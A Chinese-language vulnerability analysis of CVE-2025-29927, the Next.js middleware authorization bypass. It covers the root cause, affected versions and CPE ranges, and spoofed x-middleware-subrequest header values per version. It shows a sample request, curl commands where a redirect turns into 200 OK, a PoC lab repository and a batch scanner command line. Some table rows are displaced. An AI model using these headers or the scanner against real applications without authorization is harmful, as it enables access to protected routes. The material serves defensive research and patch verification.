本文档介绍了影响 Next.js 框架中 中间件 机制的漏洞 CVE-2025-29927。 Next.js 是 Vercel 开发的基于 React 的应用程序的流行开源框架。它支持服务端渲染、静态生成以及灵活的可用于路由、重定向、安全标头和访问权限检查的中间件系统。
2025 年 3 月,发现了一个与内部子请求的服务端标头处理相关的严重漏洞 CVE-2025-29927。
问题的核心是,在访问控制仅在中间件层实现的应用中,通过在 HTTP 标头 x-middleware-subrequest 中注入特定值,可以 绕过授权检查。如果安全性仅依赖于中间件,攻击者可以访问受限路由或数据。
受影响的 Next.js 版本 及修复版本(根据公开来源和官方资料):
修复版本可在 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 中获得。
Next.js 在生产环境中被广泛使用;影响中间件层(常用于身份验证/授权和安全策略)的漏洞具有很高的实际风险。
逐步分析漏洞并形成完整的研究周期:
收集和整理资料。 系统整理 CVE-2025-29927 相关的公开来源;阐述缺陷本质、触发条件以及已确认的版本/补丁。
确定 CPE 和配置条件。 提供 CPE/版本列表,并描述漏洞可复现的配置(例如,自托管部署和在中间件层进行授权)。
安全演示。 在测试环境中准备可复现的演示(无破坏性操作),确认漏洞在受影响版本中可绕过中间件。
批量检测方法。 描述并实现三种安全方法:

根本原因。 在 Next.js 中,服务端标头 x-middleware-subrequest 用于跟踪内部子请求并防止中间件递归。在受影响的版本中,外部客户端可以注入此标头并设置一个“预期”值——运行时 跳过中间件执行,直接将请求传递给路由处理程序。
标头的作用。 该 x-middleware-subrequest 标头最初是作为内部指示器设计的,用于标记当前 HTTP 请求是由框架本身作为中间子请求发起的,而不是直接来自用户。
它对于 Next.js 内部机制的正确运行是必需的:除了路由之外,该标志还通过“标记”每个调用的中间层来帮助避免无限递归。
但正是这种逻辑导致了意外的安全漏洞:客户端自行添加此标头时,可能会使系统将其请求视为内部请求,从而绕过授权检查。
逻辑演变。
NVD 的最新记录指定产品为 Vercel Next.js,目标软件为 node.js。对于受影响版本,使用以下配置(版本范围在 NVD 的 CPE 配置中定义):
| CPE URI | 受影响版本范围 |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
注意:CVE 描述中还指出,总体来说“从 11.1.4 到 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3”版本,在满足以下条件时漏洞可复现。
next start、使用 output: 'standalone' 构建)或任何未对外围服务端标头进行过滤的环境中,中间件对入站请求执行。x-middleware-subrequest 的用户请求的外部措施(例如 WAF 规则)。x-middleware-subrequest 的内部机制为了防止中间件无限递归,运行时生成并读取服务端标头:
: 分隔的字符串——得到“子请求”数组。NextResponse.next() 立即跳过),x-middleware-subrequest-id);如果不匹配,传入的 x-middleware-subrequest 将在服务器端被清除。攻击者向目标 Next.js 应用发送 HTTP 请求,并在其中添加服务端标头 x-middleware-subrequest。
值中指定中间件文件的路径——例如 pages/_middleware、middleware 或 src/middleware。
所需值取决于使用的 Next.js 版本和项目结构。
当此类请求到达应用时,框架的内部逻辑将其视为 内部子请求,并认为中间件层已执行。 因此,通常在中间件中发生的身份验证和授权检查实际上被跳过。
重要: 此材料仅用于在封闭测试环境中检查补丁和模拟风险。 任何对生产基础设施的检查只有在资源所有者许可的情况下才可行。
Next.js 使用服务端标头 x-middleware-subrequest 来标记内部子请求并防止中间件递归执行。
处理请求时,标头值按 : 字符分割,并与当前中间件的名称进行比较。
在新版本中,添加了深度限制(MAX_RECURSION_DEPTH,通常为 5)。
如果条件(名称匹配或达到限制)满足,Next.js 跳过中间件 并将请求传递下去。
攻击者可以构造一个正确的标头值,模拟内部子请求。
_middleware.*_middleware.js/ts 并位于 pages/ 目录下。x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts。/src 目录根目录。x-middleware-subrequest: middleware 或 x-middleware-subrequest: src/middleware: 分割,如果中间件名称重复次数 ≥ 5,
Next.js 认为递归条件满足并通过 NextResponse.next() 跳过中间件。x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 或 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware在 15.x 版本中,开发人员重新设计了逻辑以防止无限递归调用。
当路径上的中间件触发(例如,/api/*)时,Next.js 获取另一个也会触发同一中间件的 URL。
框架通过 x-middleware-subrequest 标头计数触发次数。
如果调用次数达到设定的阈值(MAX_RECURSION_DEPTH,默认 5),则后续中间件调用被阻止。
攻击者可以利用此行为,预先在标头中指定所需重复次数的值,从而人为达到深度限制——结果中间件被完全跳过。
对于旧版本,标头值根据上述变体选择
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest 被设计为防止无限递归的内部机制。
但在受影响版本中,缺少对外部请求的过滤:客户端可以伪造标头,
满足跳过条件(名称匹配或达到深度限制),
并直接访问受保护路由的处理程序。
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
测试:
(示例基于 Next.js 15.2.2;对于其他版本,请根据 PoC 部分中的表格选择标头值)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest。X-Middleware-Subrequest 标头测试中间件绕过。
⚠️ 注意:该模板仅用于对自己或授权的目标进行测试。未经所有者同意在第三方服务上使用是违法的。
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* |
| 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |